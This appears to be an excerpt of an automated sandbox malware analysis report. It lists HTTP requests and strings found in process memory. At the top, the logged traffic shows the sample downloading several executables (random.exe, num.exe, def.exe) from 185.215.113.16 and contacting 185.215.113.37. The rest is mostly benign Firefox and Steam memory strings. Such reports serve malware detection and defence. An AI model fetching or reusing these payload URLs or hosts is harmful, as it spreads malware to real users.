Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /test/num.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache

Source: firefox.exe, 0000001A.00000002.3164928829.000001EE2E64C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3161984766.000001EE2E337000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.facebook.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.3164928829.000001EE2E64C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3161984766.000001EE2E337000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.youtube.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.3164928829.000001EE2E64C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3161984766.000001EE2E337000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.3164928829.000001EE2E64C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3161984766.000001EE2E337000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001A.00000002.3164928829.000001EE2E64C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3161984766.000001EE2E337000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.3147333105.000001EE2ABE2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: WHERE place_id = (SELECT id FROM moz_places WHERE url_hash = hash(:urlhttps://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/https://www.baidu.com/,https://www.zhihu.com/,https://www.ifeng.com/,https://weibo.com/,https://www.ctrip.com/,https://www.iqiyi.com/oncommand=secondarybuttoncommand,label=secondarybuttonlabel,accesskey=secondarybuttonaccesskey,hidden=secondarybuttonhidden,dropmarkerhidden equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.3147333105.000001EE2ABE2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: UpdateService:_postUpdateProcessing - status is pending-elevate, but this is a silent startup, so the elevation window has been suppressed.UpdateService:_selectAndInstallUpdate - update not supported for this system. Notifying observers. topic: update-available, status: unsupportedhttps://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/' equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.3147333105.000001EE2ABE2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: UpdateService:_postUpdateProcessing - status is pending-elevate, but this is a silent startup, so the elevation window has been suppressed.UpdateService:_selectAndInstallUpdate - update not supported for this system. Notifying observers. topic: update-available, status: unsupportedhttps://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/' equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.3303799026.000022F09F800000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "https://www.facebook.com/Z equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.3303799026.000022F09F800000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.3190784992.000001EE2FE17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://libs.coremetrics.com/eluminate.js://static.chartbeat.com/js/chartbeat_video.js://s0.2mdn.net/instream/html5/ima3.js://imasdk.googleapis.com/js/sdkloader/ima3.js://.imgur.io/js/vendor..bundle.js://pagead2.googlesyndication.com/tag/js/gpt.js*://c.amazon-adsystem.com/aax2/apstag.js://www.google-analytics.com/analytics.js*://cdn.adsafeprotected.com/iasPET.1.js://.moatads.com//moatheader.js*://cdn.optimizely.com/public/.js://.vidible.tv//vidible-min.js://adservex.media.net/videoAds.js://static.chartbeat.com/js/chartbeat.js://web-assets.toggl.com/app/assets/scripts/.js://connect.facebook.net//sdk.js://www.googletagservices.com/tag/js/gpt.js://static.criteo.net/js/ld/publishertag.js://static.adsafeprotected.com/iasPET.1.js://js.maxmind.com/js/apis/geoip2//geoip2.js://track.adform.net/serving/scripts/trackpoint/://connect.facebook.net//all.js://www.everestjs.net/static/st.v3.js://cdn.branch.io/branch-latest.min.js://pub.doubleverify.com/signals/pub.js://auth.9c9media.ca/auth/main.js://www.rva311.com/static/js/main..chunk.js://www.google-analytics.com/plugins/ua/ec.js://www.google-analytics.com/gtm/js://www.googletagmanager.com/gtm.js://ssl.google-analytics.com/ga.js://.imgur.com/js/vendor..bundle.js*://s.webtrends.com/js/webtrends.min.jsresource://gre/modules/AsyncShutdown.sys.mjs equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000003.3062818743.000001EE30617000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2AB03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3190784992.000001EE2FE61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.3147333105.000001EE2AB03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://www.facebook.com/platform/impression.php://.adsafeprotected.com//Serving/unavailable:FEATURE_FAILURE_DCOMP_NOT_ANGLE equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.3161984766.000001EE2E337000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: -l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"Wikipedia"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.reddit.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="R"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/reddit-com@2x.png)"></div></div></div><div class="title"><span dir="auto">Reddit<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"Reddit"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer hide-for-narrow"><div class="top-site-inner"><a class="top-site-button" href="https://twitter.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="T"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/twitter-com@2x.png)"></div></div></div><div class="title"><span dir="auto">Twitter<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"Twitter"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer placeholder hide-for-narrow"><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li></ul><div class="edit-topsites-wrapper"></div></div></section></div></div></div></div><style data-styles="[[null]]"></style></div><div class="discovery-stream ds-layout"><div class="ds-column ds-column-12"><div class="ds-column-grid"><div></div></div></div><style data-styles="[[null]]"></style></div></div></main></div></div> equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001A.00000002.3211314720.000001EE306AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.3211314720.000001EE306AE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3064653256.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3065117194.000001EE368DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.3211314720.000001EE306AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.3211314720.000001EE306AE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3064653256.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3065117194.000001EE368DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.3211314720.000001EE306AE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3191656453.000001EE2FFA8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3200993052.000001EE30134000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.3147333105.000001EE2AB03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: @mozilla.org/addons/addon-manager-startup;1://www.google-analytics.com/plugins/ua/ec.js://connect.facebook.net//all.jswebcompat-reporter%40mozilla.org:1.5.1://connect.facebook.net//sdk.js*://web-assets.toggl.com/app/assets/scripts/.js://s0.2mdn.net/instream/html5/ima3.js://www.google-analytics.com/gtm/js*://ssl.google-analytics.com/ga.js://imasdk.googleapis.com/js/sdkloader/ima3.js://www.googletagservices.com/tag/js/gpt.js://.imgur.com/js/vendor..bundle.js://www.everestjs.net/static/st.v3.js*://cdn.branch.io/branch-latest.min.jsFileUtils_closeSafeFileOutputStreampictureinpicture%40mozilla.org:1.0.0https://smartblock.firefox.etp/play.svgwebcompat-reporter@mozilla.org.xpi://c.amazon-adsystem.com/aax2/apstag.js://track.adform.net/serving/scripts/trackpoint/://static.chartbeat.com/js/chartbeat_video.js://pub.doubleverify.com/signals/pub.js*://static.chartbeat.com/js/chartbeat.jshttps://smartblock.firefox.etp/facebook.svg://static.criteo.net/js/ld/publishertag.js://.imgur.io/js/vendor..bundle.js://auth.9c9media.ca/auth/main.js://www.rva311.com/static/js/main..chunk.js://libs.coremetrics.com/eluminate.js://www.google-analytics.com/analytics.js*://www.googletagmanager.com/gtm.jsFileUtils_closeAtomicFileOutputStreamexecuteIDB/promise</transaction.onerror equals www.facebook.com (Facebook)
Source: 2ffb915ad7.exe, 0000000B.00000003.2841167798.0000000001664000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000002.2843448206.0000000001664000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://log equals www.youtube.com (Youtube)
Source: file.exe, 00000000.00000003.2049716081.000000000115F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)
Source: 2ffb915ad7.exe, 0000000B.00000002.2843448206.0000000001664000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policydefault-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7Cb9e7f3651c38ac41ccf738a8ba3498dc; Path=/; Secure; HttpOnly; SameSite=Nonesessionid=251f0d117411d312b07a5d1e; Path=/; Secure; SameSite=NoneSet-CookienginxServerRetry-AfterProxy-SupportProxy-AuthenticateP3PLocationETagAuthentication-InfoAgeAccept-RangesLast-ModifiedMon, 26 Jul 1997 05:00:00 GMTExpiresContent-RangeContent-MD5Content-LocationContent-LanguageContent-Encodingtext/html; charset=UTF-8Content-Type26105Content-LengthAllowWarningViaUpgradeTransfer-EncodingTrailerPragmaKeep-AliveWed, 23 Oct 2024 23:10:14 GMTDateProxy-ConnectioncloseConnectionno-cacheCache-Control equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.3190784992.000001EE2FE03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["image"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.3190784992.000001EE2FE06000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["imageset"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.3147333105.000001EE2AB54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 0000001A.00000002.3147333105.000001EE2AB54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId
